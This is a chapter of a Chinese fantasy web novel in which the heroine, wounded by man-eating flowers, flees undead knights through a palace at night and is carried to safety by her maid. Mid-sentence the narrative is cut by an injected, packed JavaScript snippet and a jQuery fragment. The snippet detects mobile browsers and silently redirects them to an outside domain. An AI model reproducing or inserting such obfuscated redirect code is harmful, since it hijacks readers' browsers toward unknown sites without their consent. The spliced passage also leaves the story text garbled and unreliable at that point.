天气彻底黑了下来。
伊芙琳像是一座雕塑一样,柔软的黑发披在纤瘦的肩上,捧着脸看着窗户外的世界,小翠顺着她的视线看过去,只能看见一只小鸟,它站在树上,呆呆的,不叽叽喳喳地叫,也不梳理羽毛。
小翠把照明的油灯吹灭,只给许真情留了盏壁灯。
她只是往后看了一眼,小鸟突然出现在窗户外,用锋利的鸟喙快速地啄着窗户,很快就啄裂了窗户,大睁着两颗黄豆大小的白色眼瞳,向许真情飞来。
许真情用法杖挡了鸟的第一下攻击,把它变成了一只燃烧的小鸟。
万籁俱寂的夜晚,王宫中的所有人都在沉睡,只有许真情从破了洞的窗户钻了出去,长长的睡裙落在湿润的土地上。
数只食人花想要咬她的腿,但是被她灵巧地躲了过去。
今天晚上没有下雨,但是也没有月光。
许真情往前跑的路上突然撞到了一堵坚硬的人墙,她看不见面前的东西,但是鼻尖萦绕着一股腐烂臭味和潮湿土腥味混合着的味道。
凌厉的利器朝自己扫射过来,把手上的法杖挑掉。
法杖在地上滚了几圈。
一道银白的光从上往下刺向许真情。
他的动作太快,许真情只能眼睁睁看着那柄闪烁着寒光的长矛割破空气,发出猎猎风声。
铛!
将近两米高的骑士全力一击却被许真情面前的女孩挡住,腐烂的骑士重重躺在地上,手上长矛落在地上。
飓雨把法杖捡起来,递给许真情,只对她说了一个字:“跑。”
月亮在天上露了个尖,无数骑士从土地里钻出来,手持长矛,神情威严,目光齐齐看向许真情,阴森恐怖。
许真情往前走了一步,却腿一软摔在了地上。
她看了一下变得麻木的双腿,月光下一只艳丽的食人花趴在自己的右小腿上,它的根茎深深扎根在自己的血肉里,分泌了麻痹痛觉的粘液,花朵啃噬着自己的小腿骨。
淋漓的血液洒在地上。
许真情把食人花拦腰折断,只留下它的根分泌粘液,用来麻痹痛感。
飓雨拉着她的手臂,飞快地离开了这里,冷风中飓雨的声音似乎在喘着气,忍受着某种痛苦:“因为副本的限制,我帮不了你太多,剩下的只能靠你自己。”
“别去国王那里,也别去任何地下室。”飓雨在说完这句话后,把她猛地往前推,自己留在了原地。
最后一点月光也没有了,许真情的脚步慢下来。
四处都是伸手不见五指的黑,后边是杂乱的脚步声。
许真情的睡裙被小腿里流出来的血液濡湿,她的小腿麻木地厉害,没有飓雨拉着根本跑不动。
后面紧追着的脚步声越来越近,许真情握住法杖,短暂地想起从魔法书里看到的一个高级咒语。
但是追上来的骑士根本不会给她念咒语的时间,他只是机械地用一双大掌握住手里的长矛挥向许真情。
手里的法杖被砍成了两半,许真情短暂地心疼了一下自己还没拥有多久的法杖,趁骑士的第一刀空了,用尽吃奶的力气往前跑去。
王后站在高高的阳台上,欣赏着黑夜里少女的狼狈,她右小腿的一块被食人花啃掉了一半,麻痹痛觉的粘液也失去了一大半作用,但依然没有放弃求生意志。
奥利维亚瑟冲进房间,王后没回头都能看见她愤恨的眼睛,她回头示意为难的侍女退下去。
“奥利维亚,”她威严的声音响起,“那么晚闯进我的房间不敲门,这就是你作为公主的教养吗?”
飓雨低吼道:“够了,收起你虚伪的做派吧,为什么要这样对一个无辜的女孩,你就不怕凯兰知道伊芙琳死了之后会对你做些什么。”
“不,她不无辜,她该死,”王后丝毫不为所动,“凯兰能喜欢上她完全是因为女巫给她的药水导致,她死了之后药水的作用就会消失,凯兰不可能因为一个恶毒又愚蠢的女孩怨恨上我的。奥利维亚,你要知道,我做的一切都是为了杜兰家族,为了你和艾尔维斯的未来。”
飓雨冷笑一声:“恶毒又愚蠢?如果恶毒会死的话你又会死多少次?”
“你说什么?”
飓雨寒着脸:“抱歉,我不该这么说的,请原谅我言语上的冒犯吧。”
她砰的一声关上大门离开了这个地方。
王后的指甲深深陷在手心,她重新站在阳台上,发现本该在花园里奔跑着的女孩和骑士全部消失了视野。
小翠在睡着的前一刻终于听到了许真情房里的动静,她举着一盏煤油灯毫不犹豫地从窗户破掉的窟窿里跳出来,顺着土地上湿润的痕迹找到了那一群月光下的骑士。
许真情只听到了小翠呼喊着自己的声音,她扭头,看到了小翠举着煤油灯,躲过骑士的攻击,一把背起自己往前狂奔。
许真情手上被塞了一盏煤油灯。
她属实没想到小翠的体力那么好,背着她跑得比飓雨还要快。
如果NPC也有体力值的话,那么小翠可能属于佼佼者。
许真情后知后觉地感受到了小腿的痛楚,她咬着唇,把深扎在自己血管里把蠢蠢欲动的食人花根茎拔出来,温热的血液顺着小腿汩汩流下来。
锥心刺骨的疼痛让许真情的脸色紧紧咬住唇哭哭支撑。
“小姐,你遇到危险为什么不叫我,公爵专门派我来保护你。”小翠微喘着气,欲哭无泪,“要是你有个什么三长两短,我该怎么跟公爵交代,他还不扒掉我的皮。”
小翠弯腰躲过长矛的戳刺,一记扫堂腿踢在骑士的胸膛把他往后踹去。
后面争先恐后的骑士紧跟其上,小翠依然雌风不倒,溜得飞快。
许真情的惊叹油然而生。
“拆尼斯康夫。”
小翠没忍住,噗的一声笑了。
煤油灯发出明亮的光,照在小翠的脸上,许真情看着小翠努力憋着笑的脸,脸上同样露出一个很淡的笑,但是很快她就笑不出来了。
前面闪烁着的几道寒光赫然就是刽子手手上的斧头发出来的。
小翠
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16140598|176788||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
拐了个弯,冲向一处偏僻的小道。
她似乎很明白知道骑士的软肋,双脚踏入宫殿的瞬间,那些骑士和刽子手就停止了脚步,踌躇不前。
“他们是杜兰家族的傀儡,不会伤害杜兰家族的人,包括奥利维亚公主和艾尔维斯王子的宫殿,他们也不会闯进去。”
“所以这是哪里?”
“王后的宫殿。”
许真情露出一个苦笑,原来是BOSS的宫殿啊,那不更恐怖了吗。
小翠把她放在地面上,熟练地撕开一块布料,紧紧绑在许真情的伤口上,总算止住了血。
许真情脸色苍白无比,发出衷心的感谢:“小翠,还好有你。”
小翠耸肩,吐了吐舌头气愤道:“这都是我该干的啦小姐,真没想到王后竟然会瞒着凯兰公爵让傀儡们来对付你,如果凯兰公爵知道的话他一定会生气的。”
她的目光落在了许真情胸前的黑宝石链上,接着说道:“公爵把这颗黑宝石都给了你,传闻中这是一颗魔法石,蕴含着庞大的法力,可以抵挡女巫的魔法。”
许真情握住胸前的黑宝石。
两双眼睛对上。
小翠还要说什么,许真情突然把手指放在唇上比了一个噤声的动作。
急促的高跟鞋的声音从楼上响起来,王后愤怒的声音传来:“她跑到哪里去了?快去搜,她一定就在附近!”
小翠吹灭了煤油灯,和许真情藏在柱子后面。
宫殿内的壁灯陆续亮起,王后坐在主位上,只差一点就能看到被柱子遮住的血迹和主仆两人。
侍女侯在王后两边,而奥利维亚公主直直地站在宫殿中间。
王后的脸更阴沉了,两道深深的法令纹也显得更为明显,子女的叛逆和丈夫的移情别恋把这个即使是王国里最高贵的女人也折磨地苍老不堪。
侍女劝道:“奥利维亚公主,你知道这样说会有多伤王后的心吗?当初如果不是王后有手段,你和艾尔维斯王子会被废黜,甚至根本不会出生。”
飓雨把手放在胸前,微微鞠躬:“母亲,是我的错,请您原谅我。”
王后微眯眼睛,她的表情有种强撑的痛楚:“你和伊芙琳的关系看起来比我想象的要好,上次宴会你帮她解围。”
飓雨否认:“怎么可能,我只是看在凯兰表哥的面子上才和她结交的,但是我没有想到她会用那种卑劣的手段获得凯兰的爱。”
许真情脸上布满了一层细汗,剧烈的疼痛几乎让她晕过去。
小翠半扶着她,脸色变得怪怪的。
奥利维亚公主说的卑劣手段是什么意思?
她又想起来许真情使用熟练的法杖和魔法书,心中那个隐隐的猜想丝毫被印证了。
按照公主说的,如果伊芙琳小姐使用了巫术才让凯兰公爵爱上的她,那她现在应该怎么做,是把半晕的伊芙琳交出去,还是继续坚定不移地保护她。
小翠看着许真情,下意识的冲动让她想要出口,但是看到她紧皱的眉和汗湿的雪白面孔,又迟迟下不去决心。